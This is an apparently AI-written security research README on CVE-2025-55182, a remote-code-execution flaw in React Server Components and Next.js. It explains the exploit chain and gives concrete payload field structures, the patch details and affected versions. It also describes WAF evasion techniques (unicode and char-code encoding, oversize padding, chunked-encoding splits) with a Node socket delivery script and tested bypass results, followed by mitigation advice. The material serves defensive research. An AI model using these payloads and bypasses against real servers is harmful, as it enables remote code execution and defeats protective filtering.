NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains path traversal + fake chunk injection + $B handler abuse to execute Function(attacker_code).
Big thanks to maple3142 for the working exploitation chain!
The exploit uses three form fields to construct a malicious payload:
- Creates a fake chunk object with self-referential
then(field 1$@0→ field 0) - Embeds a fake
_responsewith_formData.getset to$1:constructor:constructor - Triggers the
$Bhandler which callsresponse._formData.get(response._prefix + id) - Path traversal resolves
_formData.get→Function, executingFunction(code)
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Attacker sends multipart form with fake chunk object │
│ → decodeReply() parses form fields 0, 1, 2 │
│ → Object has: then, status, value, _response │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. Self-reference makes object thenable with real function │
│ → then: "$1:__proto__:then" → Chunk.prototype.then │
│ → Chunk.prototype.then(this) calls initializeModelChunk(this) │
│ → Uses this._response (attacker's fake _response) │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. parseModelString() handles "$B1337" reference │
│ → case "B": return response._formData.get(response._prefix+id) │
│ → Calls _formData.get with attacker's _prefix + "1337" │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │
│ → "$1:constructor:constructor" traverses prototype chain │
│ → Returns Function constructor │
│ → Function(code + "1337") → RCE │
└─────────────────────────────────────────────────────────────────────┘
| Component | Purpose |
|---|---|
then: "$1:__proto__:then" |
Self-referential thenable; chunk 1 ($@0) points back to chunk 0 |
status: "resolved_model" |
Makes object appear as valid React chunk |
reason: -1 |
Sets rootReference to undefined (avoids reference conflicts) |
value: '{"then":"$B1337"}' |
Nested payload that triggers $B handler |
_response._prefix |
Contains the RCE code string |
_response._chunks: "$Q2" |
Empty Map to prevent crashes during chunk processing |
_response._formData.get |
Points to Function via $1:constructor:constructor |
The exploit uses three form fields with circular references:
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
The then: "$1:__proto__:then" creates a self-reference that resolves to a real function:
$1:__proto__:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.__proto__.then → Chunk.prototype.then (actual function!)
Why this is critical:
thenresolves toChunk.prototype.then- a real callable function- This makes the fake object a valid thenable
- When awaited, JS calls
obj.then(resolve, reject) Chunk.prototype.thenexecutes with fake object asthis:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!initializeModelChunk(this)usesthis._response- the attacker's fake_response:
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);Without the self-reference, the fake _response would never be used. The self-reference makes Chunk.prototype.then treat the attacker's object as a real Chunk.
The value field contains a nested JSON string with another thenable:
{"then":"$B1337"}Stage 1: Outer object's self-referential then triggers chunk processing
Stage 2: When React resolves the model, it parses value and encounters another thenable with then: "$B1337". The $B prefix triggers the handler:
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"_formData.get is "$1:constructor:constructor" → getOutlinedModel() resolves to Function.
This becomes: Function(code + "1337") → valid JS because 1337 is just a trailing expression.
The fake _response needs a valid _chunks property to prevent crashes:
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.
| Path | Function | Purpose in Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() |
Resolves $1:constructor:constructor → Function |
Fake _response Injection |
initializeModelChunk() |
Uses attacker's chunk._response |
$B Handler |
parseModelString() |
Calls _formData.get(_prefix + id) → RCE |
decodeReply() is the entry point, not vulnerable itself.
Path Traversal (getOutlinedModel()):
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!Fake Response Usage (initializeModelChunk()):
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);$B Handler RCE (parseModelString()):
case "B":
return response._formData.get(response._prefix + obj); // RCE!The patch includes multiple fixes:
-
RESPONSE_SYMBOLininitializeModelChunk()- Critical fix// BEFORE: chunk._response (attacker can set via JSON) value = reviveModel(chunk._response, ...); // AFTER: Symbol lookup (cannot be forged via JSON) var response = chunk.reason[RESPONSE_SYMBOL]; value = reviveModel(response, ...);
-
hasOwnPropertycheck ingetOutlinedModel()- Blocks prototype traversalhasOwnProperty.call(value, name) && (value = value[name]);
-
__proto__handling inreviveModel()- Prevents prototype pollutionvoid 0 !== parentObj || "__proto__" === i ? (value[i] = parentObj) : delete value[i];
-
Type check in
initializeModelChunk()- Validates listeners"function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
| Capability | Status | Notes |
|---|---|---|
| Prototype chain traversal | ✓ Confirmed | Via $1:constructor:constructor |
| Access to Function constructor | ✓ Confirmed | No manifest needed |
| Full RCE | ✓ Confirmed | Via fake chunk + $B handler |
- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- react-server-dom-turbopack: Same versions
- Next.js: 15.x, 16.x (before patches), canaries from 14.3.0-canary.77+
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+
This section explains why traditional pattern-matching WAF rules cannot reliably detect this exploit. Understanding these limitations is essential for security teams evaluating their defensive posture.
The exploit payload passes through multiple parsers, each with different encoding support. A WAF inspecting raw HTTP bytes sees encoded strings, but the server decodes them before processing:
| Layer | Parser | Decodes |
|---|---|---|
| JSON structure | JSON.parse() |
\uXXXX unicode escapes |
| JavaScript code | Function() constructor |
\uXXXX, \xXX, octal, fromCharCode() |
This creates a fundamental mismatch: the WAF sees encoded bytes, but the application sees decoded strings.
A naive WAF might look for patterns like constructor, __proto__, resolved_model, or child_process. However, JSON allows unicode escapes for any character:
| Literal Pattern | Unicode Equivalent | WAF Detection |
|---|---|---|
constructor |
\u0063onstructor |
Evaded |
__proto__ |
\u005f\u005fproto\u005f\u005f |
Evaded |
resolved_model |
\u0072esolved_model |
Evaded |
$@ (circular ref) |
$\u0040 |
Evaded |
JavaScript code within the payload has even more encoding options:
| Pattern | Encoding Options |
|---|---|
process |
\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process |
\x63hild_process, numeric char codes, base64 |
| Any identifier | Bracket notation: this[S(112,114,...)] where S=String.fromCharCode |
When all encoding techniques are combined:
- JSON keys become unicode sequences (
\u0074\u0068\u0065\u006eforthen) - JS identifiers become numeric arrays (
S(99,104,105,108,100,95,...)forchild_process) - The raw payload contains zero recognizable keywords
A WAF scanning the HTTP body sees only escape sequences and numbers - nothing that matches traditional attack signatures.
- Signature-based rules provide false confidence - The payload reaches the server undetected
- Encoding is infinite - Every character can be escaped differently; regex cannot enumerate all variants
- The attack is protocol-compliant - All encodings are valid JSON/JavaScript per specification
The Next-Action header identifies Server Action requests. While header names cannot be unicode-encoded (RFC 7230 requires ASCII tokens), normalization differences between WAF and server create detection gaps:
| Variant | Server Behavior | WAF Risk |
|---|---|---|
next-action (lowercase) |
Accepted (HTTP is case-insensitive) | Missed if WAF expects exact case |
Next-Action:\tx (tab) |
Accepted (whitespace normalized) | Missed if WAF expects space |
Next-Action: x (spaces) |
Accepted | Missed without normalization |
Patching is the only reliable mitigation. WAF rules cannot comprehensively block this attack due to encoding flexibility.
Required versions:
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+
If patching is delayed, consider:
- Decode before matching - WAF must decode
\uXXXX,\xXX, and normalizefromCharCode()calls before pattern matching - Structural detection - Look for JSON structures containing
_response,_prefix,_chunks, or circular references ($@0) - Header normalization - Match
next-actionheader case-insensitively with whitespace trimming - Block Server Actions - If not using Server Actions, block requests with
Next-Actionheader entirely - Runtime monitoring - Alert on
Function()calls with dynamic string arguments
Key takeaway: Pattern matching alone will fail against this class of attack. The encoding surface is too large to enumerate.
Even with comprehensive WAF rules, AWS WAF has body inspection size limits that can be exploited. This section documents tested bypass techniques using oversized payloads.
AWS WAF only inspects a portion of the request body:
| Backend | Default Limit | Maximum Configurable |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
WAF rules specify how to handle requests exceeding inspection limits:
| Setting | Behavior | Exploitable? |
|---|---|---|
CONTINUE |
Inspect available bytes, evaluate rule | Yes - payload after limit is not inspected |
MATCH |
Treat as matching (block) | No - blocks oversized requests |
NO_MATCH |
Treat as not matching | Yes - passes through |
If your WAF rule uses OversizeHandling: CONTINUE (common default), the bypass is trivial.
Place harmless padding data before the exploit payload so it falls outside the inspection window:
┌─────────────────────────────────────────────────────────────────┐
│ Multipart Form Body │
├─────────────────────────────────────────────────────────────────┤
│ [Field: padding] 65KB of 'A' characters │
│ ↑ WAF inspects first 8-64KB (sees only this) │
├─────────────────────────────────────────────────────────────────┤
│ [Field: 0] {"then":"$1:__proto__:then", ...} │
│ [Field: 1] "$@0" │
│ [Field: 2] [] │
│ ↑ Exploit payload - beyond WAF inspection limit │
└─────────────────────────────────────────────────────────────────┘
All oversize payloads successfully achieved RCE on Next.js:
| Padding Size | Total Body | Exploit Offset | Result |
|---|---|---|---|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
HTTP/1.1 chunked transfer encoding splits the body into discrete chunks. If WAF inspects chunks before reassembly, patterns spanning chunk boundaries won't match.
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Pattern split across chunks:
Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for \$\@)
Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for \$\@)
| Strategy | Description | Result |
|---|---|---|
Split at $@ |
"$ | @0" |
✅ RCE |
| 10-byte fragments | Body split every 10 bytes | ✅ RCE |
| 5-byte fragments | Body split every 5 bytes | ✅ RCE |
Split at status |
sta | tus |
✅ RCE |
All strategies successfully achieved RCE - Next.js correctly reassembles chunked requests.
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});| WAF Type | Chunk Handling | Bypass Possible? |
|---|---|---|
| AWS WAF (ALB) | Reassembles before inspection | Unlikely |
| AWS WAF (CloudFront) | Reassembles before inspection | Unlikely |
| Some legacy WAFs | Inspect per-chunk | Yes |
| Nginx ModSecurity | Configurable | Depends on config |
Note: AWS WAF typically reassembles chunked bodies before inspection. However, this should be verified per-environment as configurations vary.
-
Change
OversizeHandlingtoMATCH"OversizeHandling": "MATCH"
This blocks any request exceeding the inspection limit when rule conditions are met.
-
Increase body inspection limit (CloudFront/API Gateway only) Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.
-
Add size-based blocking rule Block POST requests with
Next-Actionheader exceeding a reasonable size (e.g., 10KB). -
Patch the application - The only complete solution.
See included test scripts:
test-simple.cjs- Baseline non-chunked payload testtest-oversize.cjs- Tests padding sizes from 0-128KBtest-chunked-v2.cjs- Chunked transfer encoding with$@splittest-chunked-bypass.cjs- Multiple chunking strategies (5-byte, 10-byte, pattern splits)
Usage:
# Start vulnerable Next.js server (port 3000)
cd nextjs-test && npm run dev
# Run tests
node test-simple.cjs # Baseline
node test-oversize.cjs # Oversize body bypass
node test-chunked-v2.cjs # Chunked $@ split
node test-chunked-bypass.cjs # All chunking strategiesfunction getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}With payload "$1:constructor:constructor":
chunk[1]["constructor"]→[Function: Object]Object["constructor"]→[Function: Function]
While we obtained Function, achieving RCE requires calling it with controlled arguments. These paths failed:
1. Thenable Path (Blocked)
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name2. decodeAction Path (Blocked)
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body3. Iterator Path (Blocked)
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't executemaple3142 found the missing piece: the $B handler + fake _response chain. By making then resolve to Chunk.prototype.then via self-reference, the fake _response gets used, enabling RCE.
-
getOutlinedModel()vulnerability is real - Colon-separated paths allow prototype chain traversal -
Function constructor is accessible -
$1:constructor:constructorworks without serverManifest -
RCE is achievable - By crafting a fake chunk with controlled
_response:- Self-reference
$1:__proto__:then→Chunk.prototype.thenmakes fake_responseget used - Fake chunk structure mimics React's internal Chunk class
_response._formData.get→Functionconstructor_response._prefix→ malicious code string$Bhandler triggersFunction(malicious_code)
- Self-reference
-
The fix is comprehensive - Multiple
hasOwnPropertychecks and type validations
- maple3142's Gist - RCE chain discovery
- React Security Advisory
- Next.js CVE-2025-66478
- msanft PoC
- react2shell.com
- AWS WAF Rule
This repository is for educational and defensive security research only. The vulnerability has been patched. Upgrade your dependencies immediately.